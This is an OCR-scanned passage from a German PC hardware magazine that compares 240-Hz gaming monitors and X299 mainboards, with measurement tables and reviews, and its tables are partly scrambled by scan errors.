Dell Alienware AW2518HF* В 0/6 2,7 (Max. 7,2) 
АОС Agon AG251FG** Ш ОЛ 3,8 (Max. 9,2) 
Acer XB272* 0,8 4,3 (Max. 8,8) 
Agon AG251FZ** [97 5,0 (Max. 15,8) 
Viewsonic XG2530** Ega 5,0 (Max. 9,8) 


System: Fotodiode inkl. Verstärkerschaltung, Voltcraft D50-1052 USB-Os- 
zilloskop. Messung von 20 Farbwechsel aus Schwarz, Weiß, 25 % Grau, 
50 % Grau und 75 % Grau. 


Min: : @ ms 
Besser 


von WeiB | 25 96 Grau 7596 Grau schwarz 


auf Weiß 95 9,8 9,4 9,8 

25 % Grau 5,8 6,6 6,8 7,2 

44 4,8 6 4,8 
75 % Grau 24 22 2,4 3.1 
schwarz 1 0,6 1,6 0,6 

E @ 0-4 ms @ 4-8 ms @ 8-12 ms @ über 12 ms 

Min: 0,6 ms Мах: 9,8 ms Avg: 5,0 ms 
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Viewsonic XG2530: Schlichter All- 
rounder ohne Macken. Das 240-Hz- 
Modell von Viewsonic ist äußerlich 
etwas schlichter als die bisheri- 
gen Gaming-Monitore. Mit einem 
schlichten Standfuß und nur weni- 
gen roten Elementen könnte er op- 
tisch als Büromodell durchgehen. 
Was die Flexibilität angeht, steht 


Beim Asus ROG Swift PG258Q ist nicht nur 
ein Hingucker: Ein rotes LED-Licht projiziert ein Logo auf den Tisch. 


er den anderen Modelle jedoch in 
nichts nach: Er ist ebenso neigbar, 
hóhenverstellbar und auch um 90 
Grad um den Standfuß drehbar. 
Mittels Freesync geht die dynami- 
sche Bildwiederholrate bei vielen 
Modellen nur bis 48 Hz runter. 
Erfreulich, dass der XG2530 ein 
Modell ist, das hier die Latte tiefer 


das Display, sondern auch der Standfuß 


legt: Freesync arbeitet hier schon 
ab 24 Hz. Damit ist der Monitor mit 
dem größten Freesync-Intervall. 
Viewsonic betont im Datenblatt 
die 22 Stufen der Schwarzstabilisie- 
rung. Viele Monitore haben diese 
Funktion, jedoch oft nicht derart 
fein gestuft. Damit lässt sich der 
Schwarzwert etwas erhöhen, ohne 
den Bildschirm insgesamt heller 
zu stellen. Dunkle Szenen lassen 
sich somit einfach etwas aufhellen. 
Details, die ansonsten im Schwarz 
ersaufen, werden dadurch bes- 
ser sichtbar. Natürlich reduziert 
die Funktion auch den Kontrast. 
Der ist mit einem Verhältnis von 
ca. 800:1 nicht besonders hoch. 
Verglichen mit den anderen TN- 
Panels kann sich die Bildqqualität 
dennoch sehen lassen, wie etwa 
unsere Messung der Farbtreue 
beweist. Leider konnten wir den 
Input Lag nicht fehlerfrei messen, 
daher mussten wir ihn hier aus der 
Wertung nehmen. Der Viewsonic- 
Monitor erreichte dennoch eine 
gute Note. Mit knapp 500 Euro ist 
er aktuell fast etwas zu teuer für 


ein Freesync-Gerät. Dell oder AOC 
sind deutlich günstiger bei nahezu 
gleicher Qualität und Ausstattung. 


AOC Agon AG251FZ und AG251FG: 
Zwillingsmodelle, die nur scheinbar 
gleich sind. Bei den beiden Doppel- 
modellen handelt es sich wieder 
um ein Freesync- und um ein G- 
Sync-Modell. Wie schon erwähnt, 
ist es nicht eine kleine Funktion, 
die die Monitore unterscheidet, 
denn G-Sync-Modelle haben andere 
Hardware hinter dem Panel sitzen. 
Die Plastikverkleidung ist zwar bei 
beiden die gleiche, aber schon in 
den Anschlüssen unterscheiden 
sich die Zwillinge: Während das G- 
Sync-Modell mit dem G am Ende im 
Namen nur über einen HDMI- und 
einen  DisplayportEingang уег- 
fügt, bedient der Freesync-Monitor 
mit DVI und sogar VGA ältere und 
analoge Anschlüsse. Daher verfügt 
dieses günstigere Modell auch über 
eine bessere  Ausstattungsnote. 
Rund ums Panel schneidet aber 
die G-Sync-Version besser ab: Wir 
konnten sowohl eine bessere Farb- 


24,5 Zoll 


24,5 Zoll 


24,5 Zoll 


24,5 Zoll 


240-HZ- 
MONITORE 


Auszug aus Testtabelle 
mit 23 Wertungskriterien 


Produkt 


Hersteller Dell 


Alienware AW2518HF 


ZOWIE XL2540 
Benq 


Agon AG251FG 
AOC 


Preis/Preis-Leistungs-Verháltnis 


Ca. € 420,-/gut 


Ca. € 610,-/befriedigend 


Ca. € 500,-/ausreichend 


Ca. € 560,-/befriedigend 


PCGH-Preisvergleich 
Ausstattung (20 %) 


www.pcgh.de/preis/1675366 


www.pcgh.de/preis/1675342 


www.pcgh.de/preis/1534083 


www.pcgh.de/preis/1628421 


Diagonale/Anschlüsse 1 x HDMI 1.4, 1x HDMI 1.4, 1 x Displayport 1.2, 1 x HDMI 2.0 1 х HDMI | 1 x HDMI 1.4, 
x DisplayPort 1.2, 4x USB 3.0, 1 x DisplayPort 1.2, 4х USB 3.0, 1.4 MHL, 1 x DVI, 2 x USB 3.0, 2 x USB 2.0, | 1 x Displayport 1.2, 
1 x Audio-Klinkenbuchse 1 x Audio-Klinkenbuchse 1 x Line-In, 1 x Line-Out 2 x USB 3.0 
Max. Auflösung/Pixeldichte 1.920 x 1.080/89,9 ppi 1.920 x 1.080/89,9 ppi 1.920 x 1.080/89,9 ppi 1.920 x 1.080/89,9 ppi 
Panel-Typ/Diagonale N/60 cm TN/60 cm TN/60 cm TN/60 cm 


Netzteil/Vesa-Halterung 


ntern/100 x 100 (belegt) 


Intern/100 x 100 (belegt) 


Intern/100 x 100 (belegt) 


Extern/100 x 100 (belegt) 


Gewicht/Maße (inkl. Standfuß) 


3,5 kg (ohne Standfuß)/56 x 42 x 27 cm 


3,5 kg (ohne Standfuß)/56 x 42 x 27 cm 


7,5 kg kg/57 x 45 x 23 cm 


6,5 kg/57 x 55 x 22cm 


Pivot 90 Grad/neigbar/hóhenverstellbar 


а/-5°,15°/13 cm 


Ja/-5°,15°/13 cm 


Ja/-5°,20°/14 cm 


Ja/-3°,20°/13 cm 


Garantie 


3 Jahre 


3 Jahre 


2 Jahre 


3 Jahre 


Sonstiges/Zubehör 


Eigenschaften (20 %) 
Betrachtungswinkel horizontal/vertikal 


Schwarzstabilisierung, 
Stereo-Lautsprecher, 
LED-Beleuchtung 
2,24 

170/160 Grad 


ULMB, Schwarzstabilisierung, 
Stereo-Lautsprecher, 
LED-Beleuchtung 

2,19 

170/160 Grad 


Fokusblende, Fernbedienung, 
Headset-Aufhängung, 
Schutzhülle 


2,05 
170/160 Grad 


2x 3-Watt-Lautsprecher, 
Schwarzstabilisierung, 
Headset-Aufhängung 
2,58 

170/160 Grad 


Bildwiederholrate/VRR 


48-240 Hz/Freesync 


30-240 Hz/G-Sync 


48-240 Hz/Freesync 


30-240 Hz/G-Sync 


Kontrastverháltnis/Schwarzwert 


999:1/0,4 cd/m2 


1116:1/0,4 cd/m2 


795:1/0,5 cd/m? 


906:1/0,4 cd/m? 


FAZIT 


Q Gutes Preis-Leistungsverháltnis 
© Gute Bildqualität für TN 
© Freesync erst ab 48 Hz 


Wertung: 1,76 
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© Nahezu schlierenfrei 
© Gute Bildqualität für TN 
© Teuer wegen G-Sync 


Wertung: 1,78 


Max. Leistungsaufnahme/Stand-by 23,4 Watt/0,3 Watt 27,4 Watt/0,3 Watt 26,1 Watt/0,5 Watt 32,6 Watt/14,6 Watt 
Leistung (60 %) 1,60 1,65 1,67 1,60 

Input Lag (Leo Bodnar) 14,5 ms 16,0 ms 10,2 ms 15,8 
Farbabweichungen (e Delta E 2000) 29 2,4 44 2,6 

Max. Helligkeit 431,6 cd/m? 446,6 cd/m? 390 cd/m? 402,3 cd/m? 
Helligkeitsabweichungen Bis 11 96 Bis 12 % Bis 10% Bis 6 % 
Schlieren-/Korona-Bildung wenig/keine wenig/keine wenig/wenig wenig/keine 


© Hohe Bildfrequenz 
© Niedrige Verzögerung 
© mittelmäßige Farbqualität 


Wertung: 1,7 


© Große G-Sync Range 
© Overdrive ohne Schatten 
© Hoher Stand-by-Verbrauch 


Wertung: 1,82 
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treue als auch eine gleichmäßigere 
Ausleuchtung feststellen, wenn 
auch die Unterschiede in beiden 
recht gering ist. Beide Modelle 
schnitten in der Messung hier gut 
ab. Die Overdrive-Funktion scheint 
am AG251FG etwas besser zu funk- 
tionieren: Auf der zweiten von vier 
Stufen sind weder Schlieren noch 
Schatten sichtbar. Beim AG251FZ 
sind noch leichte Schlieren sicht- 
bar, wenn auch nur gering. Wir 
vermissen etwas die praktische 
Kabelfernbedienung, die vielen 
anderen Modellen der Agon-Serie 
beiliegt. Gerade ambitionierte 
Gamer, die schnell zwischen Ein- 
stellungen, wie Overdrive-Niveau, 
Schwarzwertlevel oder Farbtem- 
peratur wechseln möchten, pro- 
fitieren von den Zusatztasten in 
Keyboard-Reichweite. Die Zowies 
von Benq sind daher die einzigen 
240er mit Fernbedienung. Dafür 
wirft AOC beide Modelle zum ulti- 
mativen Kampfpreis auf den Markt: 
Der AG251FG ist der erste 240er 
mit G-Sync unter 600 Euro und der 
AG251FZ der erste unter 400 Euro. 


Acer XB272: Der einzige 27-Zóller 
mit 240 Hz. Acer ist der einzige 
Hersteller, der ein 240-Hz-Modell 
mit der Bilddiagonale über 27 Zoll 
auf den Markt bringt. Allerdings 
verfügt auch er über die Full-HD- 
Auflósung, wie die Konkurrenten 
mit 24,5 Zoll. Das resultiert in einer 
geringeren Pixeldichte: 81 ppi ist 
schon recht dürftig und verwóhnte 
Zocker kónnten sich daran stóren. 
Das muss aber jeder selber wissen. 
Bildfläche, Auflösung und Pixel- 
dichte sind schlicht Geschmacksa- 
che. Der XB272 ist nicht nur der 
größte, sondern für aktuell 670 
Euro auch der teuerste 240er. Da- 
für leistet sich der G-Sync-Monitor 
weder in der Ausstattung noch in 
der Bildqualität ein Manko: Zwei 
Anschlüsse reichen, da G-Sync oh- 
nehin nur per Displayport funktio- 
niert. Zudem kommt das Panel auf 
einen guten Kontrast über 1.000:1, 
auf eine recht hohe Farbtreue 
und liefert per Overdrive nahezu 
Bewegtbilder 
Spielen. Die Reaktionszeiten sind 
mit durchschnittlich 4,3 ms nied- 


schlierenfreie in 


rig genug für ein Gamer-Display. 
Lediglich der ziemlich hohe Stand- 
by-Verbrauch 
Während die meisten Modelle mit 
Druck auf die Aus-Taste lediglich 
0,5 Watt schlucken, verbraucht der 
Acer-Monitor weiterhin 15 Watt. 
Zum Glück gibt es an der Rückseite 
einen Kippschalter, der die Strom- 
verbindung ganz kappt. Das Manko 
ist daher verschmerzbar. 


ist zu kritisieren: 


Asus ROG Swift PG258Q: AuBen hui, 
innen auch. Das 240-Hz-Modell von 
Asus kommt im gleichen Plastik- 
kleid wie die anderen Modelle aus 
der ROG-Serie. Während die Rück- 
seite der meisten Monitore eher 
zweckmäßig gehalten ist, meint 
Asus wohl, dass auch ein schóner 
Rücken entzücken kann und ver- 
passt der Verkleidung ein extrava- 
gantes Muster. Außerdem beleuch- 
tet der Dreibein-Standfuf in der 
Mitte die Tischfläche mit einem 
austauschbarem, frei konfigurier- 
baren Logo. Leider konnten wir die 
Reaktionszeiten am PG258Q nicht 
messen, da der geliehene Monitor 


wieder zurück musste, bevor un- 
sere Fotodiode eintraf. Mit durch- 
schnittlich ca. 3 ms haben die eng- 
lischen Kollegen von TFTcentral 
relativ niedrige Verzörgerungen 
im Farbwechsel der Pixel gemes- 
sen. Diese Werte sind wegen un- 
terschiedlicher Methode und auch 
Testequipment nicht direkt mit 
unseren vergleichbar. Der Preis des 
stylischen Monitors ist mittlerwei- 
le auch auf 555 Euro gefallen. Vor 
wenigen Wochen kostete er noch 
gut über 600 Euro. Der G-Sync-Auf- 


(me) 


Fazit Hardware 


Nahezu rissfrei ohne Sync 

Jedes 240-Hz-Modell bietet zwar ent- 
weder G- oder Freesync, aber auch 
ohne die richtige Grafikkarte werden 
die Bildrisse deutlich gelindert, wenn 
auch nicht ganz abgeschafft. Ohne 
Synchronisation fällt auch jeglicher 
Lag weg. Gleichzeitig werden die Mo- 
delle immer billiger. Wer auf schnelle 
Shooter steht, sollte hier zuschlagen. 


preis schmilzt immer mehr. 


24,5 Zoll 


240-HZ- 
MONITORE 


Auszug aus Testtabelle 
mit 23 Wertungskriterien 


Hersteller Viewsonic 


XG2530 


24,5 Zoll 


Agon AG251FZ 
AOC 


27 Zoll 


Acer 


24,5 Zoll 


ROG Swift PG258Q 


Asus 


Preis/Preis-Leistungs-Verhältnis Ca. € 500, 


‚-/befriedigend Ca. € 390,-/gut 


Ca. € 670,-/ausreichend 


Ca. 555 Euro/Befriedigend 


PCGH-Preisvergleich 
Ausstattung (20 %) 
Diagonale/Anschlüsse 


1 x HDMI 


www.pcgh.de/preis/1640640 


1.4, 1 x HDMI 2.0, 1 x Displayport 


www.pcgh.de/preis/1543119 


1 x Displayport 1.2, 1 x HDMI 2.0 1 x HDMI 


www.pcgh.de/preis/1576527 
188 J— . 
1 x Displayport 1.2, 1 x HDMI 1.4, 


www.pcgh.de/preis/1451609 
182 — 
x HDMI, 1 x Displayport 1.2 


1.2,2 x USB 3.0 1.4 MHL, 1 x DVI, 1 x VGA, 4 x USB 3.0, 2 


x Line-In, 2 x Line-Out 
1.920 x 1.080/89,9 ppi 
TN/60 cm 

Extern/100 x 100 (belegt) 
6,5 kgl57 x 55 x 22cm 
Ja/-3°,20°/13 cm 


4 x USB 3.0 


Max. Auflósung/Pixeldichte 
Panel-Typ/Diagonale 
Netzteil/Vesa-Halterung 

Gewicht/Maße (inkl. Standfuß) 

Pivot 90 Grad/neigbar/höhenverstellbar 


1.920 x 1.080/89,9 ppi 
TN/60 cm 

Intern/100 x 100 (belegt) 
6,8/57 x 43 x 24 cm 
Ja/-5°,15°/12 cm 


1.920 x 1.080/81,6 ppi 
TN/66,2 cm 

Intern/100 x 100 (belegt) 
7 kg/64 x 42 x 27 cm 
Ja/-5°,21°/15 cm 


.920 x 1.080/89,9 ppi 
N/62,5 cm 

extern 

5,6 kgí56 x 51 x 25 cm 
а/-5°,20°/12 cm 


Garantie 2 Jahre 3 Jahre 2 Jahre 3 Jahre 
Sonstiges/Zubehör 22 Stufen Schwarzstabilisierung, 3,5-mm-Klin- | 2x 3-Watt-Lautsprecher, Schwarzstabilisie- 2x 2-Watt-Lautsprecher, Schwarzstabilisie- USB-3.0-Hub, 2x 2 Watt-Lautsprecher, dreh- 
kenbuchse, 2x 2-Watt-Lautsprecher rung, Headset-Aufhängung, Fernbedienung "mung, ULMB barer Standfuß, Kopfhörerausgang, Mikro- 


oneingang, Fps Counter, Onscreen Crosshair 
225 II TUE 
170/160 Grad 

30-240 Hz/G-Sync 

1009:1/0,5 cd/m? 


Eigenschaften (20 %) 
Betrachtungswinkel horizontal/vertikal 
Bildwiederholrate/VRR 
Kontrastverháltnis/Schwarzwert 


170/160 Grad 


170/160 Grad 
48-240 Hz/Freesync 
1057:1/0,4 cd/m? 


170/160 Grad 
30-240 Hz/G-Sync 
1095:1/0,4 cd/m? 


24-240 Hz/Freesync 
828:1/0,5 cd/m? 


Max. Leistungsaufnahme/Stand-by 26,8 Watt/0,2 Watt 26,3 Watt/0,4 Watt 37,5 Watt/15,2 Watt 28,4 Watt/0,3 Watt 
Leistung (60 %) 1,61 _ 1,87 1,71 1,86 

Input Lag (Leo Bodnar) - 14,3 ms 15,7 ms 15,9 ms 
Farbabweichungen (ø Delta E 2000) 3,1 44 3,2 44 

Max. Helligkeit 386,7 cd/m2 444 cd/m? 425 cd/m2 487,7 cd/m2 
Helligkeitsabweichungen Bis 9 % Bis 8 % Bis 9 % Bis 9 % 
Schlieren-/Korona-Bildung wenig/keine sichtbar/wenig wenig/keine wenig/wenig 


© Nahezu schlierenfrei 
© Guter Kontrast 
© Geringe Pixeldichte 


Wertung: 1,88 


© Großes Freesync-Intervall 
© Geringer Stromverbrauch 
© Kontrast schwächelt etwas 


© Günstigstes 240-Hz-Modell 
‚© Geringer Stromverbrauch 
© Schlieren trotz Overdrive 


Wertung: 1,85 


© Große G-Sync Range 
© Gute Bildqualität 
© Teuer für Full HD 


Wertung: 1,93 


FAZIT 


Wertung: 1,84 
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Sockel-2066-Platinen 


Skylake X soll den Preisbereich von 350 bis 2.000 Euro abdecken, entsprechend divers ist das 
Mainboard-Angebot. Wir erweitern unser Testfeld um zwei Luxus- und eine Budget-Platine. 


í 


хеч 


Г, 


X299 RAIDER 


Den vollstándigen 
ersten Teil unseres 
Vergleichstests mit vier 
Mainboards finden Sie auf 
dem beiligenden Datentráger z š 
der DVD-Version. Zusätzlich gibt es eine D AG 1 еа 
zusammenfassende Kaufberatung mit allen \ р 
sieben Probanden. 
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ur drei Hersteller lieferten 
N rechzeitig ein Mainboard für 
unseren ersten Sockel-2066-Ver- 
gleichstest. Eine Ausgabe später, 
zwei Monate nach offiziellem Start 
der Basin-Falls-Plattform, bessert 
sich die Lage: Platinen von Super- 
micro, EVGA und Biostar lassen 
zwar weiter auf sich warten, auf 
Asus, Gigabyte und MSI folgt aber 
immerhin Asrock mit mehreren 
verfügbaren Modellen. Auch die 
Preise fallen - erste Angebote un- 
terschreiten die magische 200-Eu- 
ro-Schwelle; die ^ Luxus-Klasse 
beginnt bei den aus frühen Sockel- 
2011-v3-Tagen gewohnten 400 
Euro. Offensichtlich hat der starke 
Konkurrenzdruck AMDs hier zu ei- 
ner Normalisierung geführt, nach- 
dem Intel-Mainboard-Preise beim 
Broadwell-E- und Kaby-Lake-Start 
zuletzt stark angezogen hatten. 


(Verlust-)Leistung & Kühler 
Der kritische Parameter bei der 
Sockel-2066-Mainboard-Auswahl 
skaliert aber weiterhin nur be- 
dingt mit dem Preis. Wie im letz- 
ten Heft dominiert der potentiell 
hohe Energieumsatz von Skylake X 


unsere Testergebnisse. Zur Erin- 
nerung: Der Core 19-7900Х ist von 
Intel mit einer TDP von 140 W 
spezifiziert und in Spielen sowie 
normalen Anwendungen recht effi- 
zient unterwegs. Die im Vergleich 
zu Sockel-2011-v3- und -1151-CPUs 
erweiterten AVX-Einheiten treiben 
den Stromverbrauch und damit 
auch die Wärmeentwicklung an 
den Spannungswandlern aber in 
enorme Hóhen, wenn Code mit 
hohem AVX-Anteil zum Einsatz 
kommt (vergleiche S. 62). Selbst 
die alte Prime95-Version 27.7 ohne 
AVX2- und AVX512-Unterstützung 
sorgt im PCGH-Testparcour für 
eine Leistungsaufnahme von knapp 
217 W laut CPU-eigenem Sensor 
respektive 22 A Eingangsstrom an 
den Spannungswandlern, womit 
wir bewusst auch Übertakter-An- 
forderungen berücksichtigen. 

Mit diesem Rechen- und Ver- 
lustlseistungspotential gehen die 
Mainboard-Hersteller unterschied- 
lich um. Während MSI und Giga- 
byte den von Intel spezifizierten 
All-Core-Turbo von 4,0 GHz un- 
abhängig von der resultierenden 


Stromverbrauch: Off & Idle hoch, Last variabel 


Rechner aus: Soft-off inklusive 80-Plus-Gold-Netzteil 


Asus TUF X299 Mark 2 [Xu 1,6 (-36 %) 
MSI X299 Raider [Xu 1,9 (-24 96) 
Asus Strix X299-E Gaming [XU 2,5 (Basis) 
Asrock X299 Professional Gaming i9 EX 2,9 (+16 96) 
MSI X299 Gaming Pro Carbon AC EX 3,1 (24 96) 
Gigabyte X299 Gaming 3 [X 3,5 (+40 96) 
Gigabyte X299 Gaming 9 [XX 4,8 (4-92 96) 
Leerlauf: Windows-10-Desktop inklusive 80-Plus-Gold-Netzteil 


Asus TUF X299 Mark 2 [Eu 48,1 (-8 96) 
Asus Strix X299-E Gaming XU 52,5 (Basis) 
MSI X299 Gaming Pro Carbon AC ==). (+14 %) 
MSI X299 Raider Xm 62,4 (+19 %) 

Gigabyte X299 Gaming 3 wl 65,1 (+24 %) 
Asrock X299 Professional Gaming 19 [XXn 68,6 (431 96) 

Gigabyte X299 Gaming 9 == 8,6 (+31 96) 

Volllast: Witcher 3 + Prime 95 (14 Threads) inklusive 80-Plus-Gold-Netzteil 


Asus Strix X299-E Gaming 8 386 (Basis) 
Asus TUF X299 Mark 2 [X 394 (+2 96) 
Asrock X299 Professional Gaming i9 = 404 (+5 96) 
Gigabyte X299 Gaming 3 EX 449 (+16 %) 
Gigabyte X299 Gaming 9 Xu 464 (+20 96) 
MSI X299 Raider Xu 466 (+21 96) 
MSI X299 Gaming Pro Carbon AC = 469 (+22 96) 


System: Core i9-7900X, Asus Strix GTX 1080 110% Power-, 91 °C Temp.-Target; 4x 4 
GiB 0084-2666 Bemerkungen: Ohne AVX-Taktabsenkung würden die Asus-Boads unter 
Volllast 449 W und Asrocks X299 i9 sogar 474 W verbrauchen. 


Watt 
< Besser 


Asrock Fataltty X299 Professional Gaming i9 


Asrock schmückt seine Flaggschiffe selten mit Optik-Extras und verbaut lieber ungewöhnliche Zusatzausstattung. Im Falle des X299 i9 sind das neben einem 
neunten und zehnten SATA-Ports zwei Gigabit-, ein W- und vor allem ein 10-GBit-LAN-Controller. Dazu gibt es drei M.2-Slots (einmal via CPU) und trotz weit 
nach oben verschobenem CPU-Sockel einen angemessen dimensionierten Spannungswandlerkühler. Schwáchen gibt es noch beim Leistungs-Feintuning. 


Kühle Spannungswandler 
Ein Kühlkórper braucht nicht viel Masse, 
sondern viel Oberfläche. Genau die bietet 
der schlanke Asrock-Kühler, der trotz der 
hóchsten Leistungsaufnahme im unlimi- 
tierten CPU-Betrieb Bestwerte abliefert 
und mit sparsamer Werkseinstellung gar 
ein Sockel-1151-typisches Niveau erreicht. 


10 GBit-LAN onboard 
Gigabit-Netzwerkverbindungen zogen 
vor 15 Jahren auf Mainboards ein und 
können nicht einmal den vollen Daten- 
durchsatz einer modernen Festplatte im 
NAS bewältigen. Als einer der ersten 
Hersteller verbaut Asrock deswegen teure 
10-GBit-Controller aus dem Servermarkt. 


Theoretisch hátte der weit oben liegende Sockel des X299 i9 sogar sieben Erweiterungsslots 
erlaubt, Asrock platziert den ersten PEG trotzdem an ATX-Slotposition zwei — so bleibt viel 
Platz für CPU-Kühler und/oder Grafikkarten-Backplates. Die Erweiterungssteckplätze sind auf 
Skylake X optimiert; idealerweise 44 Lanes versorgen vier Slots und den dritten M.2. 


Viel Platz, viele Erweiterungsmóglichkeiten für SKL X 
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Die Spannungswandler-Abwàrme kann beim X299 Gaming 9 zwar via Heatpipe an 
einen zweiten Kühlkörper gelangen, ist dann aber zwischen RAM und 1/0 gefangen. 


MSI X299 Raider 


Abwärme einhalten, bremst Asus 
die CPUs bei 140 W scharf aus und 
senkt den Takt notfalls auf 3,6 GHz 
und weniger. Auch auf Nachfrage 
konnte Intel uns leider nicht mittei- 
len, welche Variante gewünscht ist, 
sodass wir alle Mainboards mit den 
jeweiligen Werkseinstellungen tes- 
ten. Um dennoch einen Vergleich 
der Kühleigenschaften auf Augen- 
höhe zu bieten, geben wir bei Asus- 
und den weniger stark drosselnden 
Asrock-Modellen in der Testtabelle 
zusätzlich die erzielte Temperatur 
mit manuell auf 4 GHz fixiertem 
CPU-Takt unter Volllast an. 


In die Endnoten fließt aber nur die 
Messung mit der Herstellerkonfigu- 
ration ein, die objektiv betrachtet 
die gleiche Alltagsleistung bei nied- 
rigerem Verbrauch ermöglicht. Mit 
4-GHz-Übertaktung würde Asus‘ 
Strix X299-E dagegen auf Endnote 
2,18 und somit Platz 3 unserer Ge- 
samtwertung zurückfallen, das TUF 
X299 Mark 2 sogar mit einer 2,34 
zum Schlusslicht mutieren. Bei As- 
rocks X299 Professionell Gaming 
19 fällt der Unterschied kleiner aus, 
eine 2,15 würde weiterhin für den 


zweiten Platz zwischen MSIs X299 
Gaming Pro Carbon AC und dem 
Strix X299-E reichen - nur eben 
mit vertauschter Reihenfolge. 


Damit wären wir bei den drei Neu- 
zugängen dieser Ausgabe. Asrocks 
simpel, aber sinnvoll konzipierter, 
schlanker Spannungswandlerküh- 
ler liefert hier selbst bei hoher 
Belastung die beste Arbeit ab und 
agiert auf Augenhöhe zum bishe- 
rigen Temperatur-Favoriten Strix 
X299-E. Mit automatischer Taktab- 
senkung wird das X299 Professio- 
nal Gaming i9 dann geradezu kalt 
und vergleichsweise sparsam un- 
ter Volllast - unangemessen hoch 
ist aber der Leerlauf-Verbrauch. 
Außerdem verhindern leicht un- 
terdurchschnittliche Benchmark- 
Ergebnisse eine bessere Leistungs- 
note, was sich mit künftigen UEFIs 
noch bessern könnte. Bereits ein 
Update von Version 1.2 auf 1.28 re- 
duzierte den Leistungs-Rückstand 
gegenüber MSI um 25 Prozent. 


Mit dem X299 Raider wiederum 
kann sich erneut ein MSI-Modell 
signifikant vor konkurrierenden 


MSIs X99A Raider und das verwandte X99S SLI Plus stellten die gesamte X99-Ära lang den PCGH-Sockel-2011-v3-Preis-Leistungstipp dar. Für die Nach- 
folgeplattform wurde das Erfolgskonzept nahezu unverändert übernommen: Kein optischer Schnickschnack, keine Zusatzcontroller außer USB 3.1 und ein 
möglichst niedriger Preis. Im Gegensatz zu den Vorgängern bietet das X299 Raider auch einen vollwertigen Onboard-Sound, lässt aber vier Lanes ungenutzt. 


U.2 onboard, M.2 shared 
Trotz des niedrigen Preises bietet das 
X299 Raider einen U.2-Slot. Über diesen 
lassen sich die Lanes des PCH-x4-Slots 
weiter nutzen, wenn dieser von einer 
Triple-Slot-Grafikkarte verdeckt wird. Vier 
SATA-Ports teilen ihre Ressourcen unter- 
dessen mit dem zweiten M.2-Steckplatz. 


Heiße Spannungswandler 
Wegen MSIs ungezügelter Skylake-X- 
Leistungsaufnahme hat das X299 Raider 
trotz großem Kühler keine Reserven für 
manuelle Übertaktung von 10-Kernern. 
Bessere Wärmeleitpads könnten helfen — 
die Wandler werden rund 20 K heißer, als 
das untere Ende des Kühlkörpers. 


RS ‚== nm» E? 
CC EETTEEEEET 


157 T эз RAIDER 


Keine LEDs, keine Blenden, keine Abstriche 

Mehr oder minder hübsche Abdeckungen sind für Oberklasse-Mainboards genauso typisch, 
wie LED-Beleuchtung für Gaming-Modelle. Das X299 Raider wird weder als das eine noch das 
andere vermarktet und gibt sich entsprechend nüchtern. Der überdurchschnittlichen Leistung 
tut das keinen Abbruch und auch Anschlüsse sind bis hin zum front-USB-3.1 alle vorhanden. 


we msi 
° 
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Marken platzieren. Die klar höhere 
Speicher- und Spieleleistung sind 
dabei weniger auf die fehlende 
Taktabsenkung und eher auf erfolg- 
reiches Feintuning zurückzufüh- 
ren. Der dauerhaft hohe Takt sorgt 
hingegen für unangenehm hohe 
Spannungswandlertemperaturen - 
86 °C sind noch nicht kritisch, aber 
ohne direkte Spannungswandler- 
belüftung hat MSIs Raider quasi 
keine Reserven für eine weitere 
Übertaktung von 10-Kern-CPUs. 


Temperaturmäßig in der Mitte plat- 
ziert sich erneut Gigabyte - dabei 
tritt das X299 Gaming 9 als einziges 
Mainboard mit einer aufwendigen 
Heatpipe-Kühllösung an. Deren 
zweiter Kühlblock ist aufgrund von 
Platzmangel und Designelementen 
aber nahezu nutzlos. So wird Gi- 
gabytes Flaggschiff ähnlich warm, 
wie das günstige Gaming 3 aus 
der letzten Ausgabe mit nur einem 
Kühlkörper. Immerhin: Die 76 °C 
repräsentieren bereits den Betrieb 
mit vollem CPU-Takt und entspre- 
chender Abwärme, der einherge- 
hende Verbrauch verbessert die 
Leistungsnote aber nicht gerade. 


PCI-Express-Nutzung 

Weitere Gemeinsamkeiten zwi- 
schen X299 Gaming 3 und 9 fin- 
den sich bei den M.2- und PCI-E- 
Steckplätzen. So finden wir erneut 
einen vom PCH versorgten x4-Slot 
direkt unterhalb des zweiten PEG 
(PCI-Express for Graphics), wo er 
im Multi-GPU-Betrieb mit Dual- 
Slot-Karten aber gar nicht nutzbar 
ist. Einer der beiden M.2-Slots muss 
seine Ressourcen dagegen von vier 
der acht SATA-Ports klauen. Auch 
der dritte M.2-Slot des Gaming 9 ist 
von PCI-E-Lane-Sharing betroffen 
und leiht sich bei einem zweiten, 
günstiger platzierten x4-Slot CPU- 
Lanes aus. Diese CPU-Anbindung 
ermöglicht gleichzeitige Lese- 
oder Schreib-Zugriffe auf mehrere 
NVME-SSDs, ohne dass die 4-GB/s- 
DMI-Anbindung des PCHs zum Fla- 
schenhals wird, welcher die ande- 
ren beiden M.2s versorgt. Ärgerlich 
in Anbetracht dieser mehrfachen 
Doppelvergabe von Ressourcen 
ist Gigabytes Verzicht auf die Nut- 
zung aller 44 Lanes der Skylake-X- 
Topmodelle. Im Gegenzug kónnen 
Kaby-Lake-X-Nutzer alle 16 Lanes 
ihrer CPU in einem Slot bündeln. 


Extrabreit: Zugunsten platzraubender Kühler lásst Asrock deutlich mehr Platz zwi- 


schen CPU-Sockel und dem ersten Erweiterungsslot als andere Hersteller. 


Diese Option und ebenfalls einen 
CPU-versorgten M.2 bietet auch 
Asrocks X299 Gaming i9 - und bin- 
det letzteren bei Skylake-X-Nutzern 
genauso sharing-frei an, wie M.2 
Nummer 1 und 2. Auf x4-Slots wird 
im Gegenzug verzichtet, mit einer 
44-Lane-CPU gibt es aber den beim 
Gaming 9 vermissten x8-Slot zusätz- 
lich - und das obwohl Asrock noch 


Gigabyte Aorus X299 Gaming 9 


Gigabyte hat das ,,G1"-Suffix aufgegeben, die Spitze oberhalb der Gaming-7-Modelle heißt jetzt Gaming 9. Geblieben sind die umfangreiche Ausstattung 
und eine aufwendige, erstaunlich stimmige Beleuchtung, die alles vom PCH-Kühler über die RAM-Slots bis zum l/O-Shield in diffuses Licht taucht. Weniger 
angemessen fällt die Spannungswandlerkühlung des Über-500-Euro-Mainboards aus, die trotz Mehraufwand nur auf dem Niveau des Gaming 3 liegt. 


Header für alles 
Das X299 Gaming 9 hat einige unge- 
wóhnliche Anschlüsse. So finden sich 


zusätzliche Lanes für einen 10-GBit- 
LAN-Controller onboard 
vieren muss. Ein PCI-Express-2.0- 
Switch macht es möglich; über 


TESET- 


diesen sind der einzelne x1-Slot 
und mehrere langsame Onboard- 
Geräte an den PCH angebunden. 


Als halb so teures Board verzichtet 
das MSI X299 Raider auf Extrava- 


nicht nur Header für RGB-, sondern auch 
